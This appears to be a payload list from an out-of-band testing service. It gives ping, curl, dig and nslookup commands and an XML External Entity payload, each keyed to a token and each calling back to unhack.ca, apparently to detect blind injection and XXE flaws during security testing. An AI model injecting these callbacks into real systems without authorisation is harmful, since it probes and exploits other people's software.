$ ping -c1 -p 00b57dbb800859878d90aae564575b00 unhack.ca
 

$ curl http://unhack.ca/p/b57dbb800859878d90aae564575b
 

$ dig b57dbb800859878d90aae564575b @unhack.ca
 

$ dig b57dbb800859878d90aae564575b.ns.unhack.ca
 

C:\> nslookup b57dbb800859878d90aae564575b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b57dbb800859878d90aae564575b">]>
    <foo>&xxe;</foo>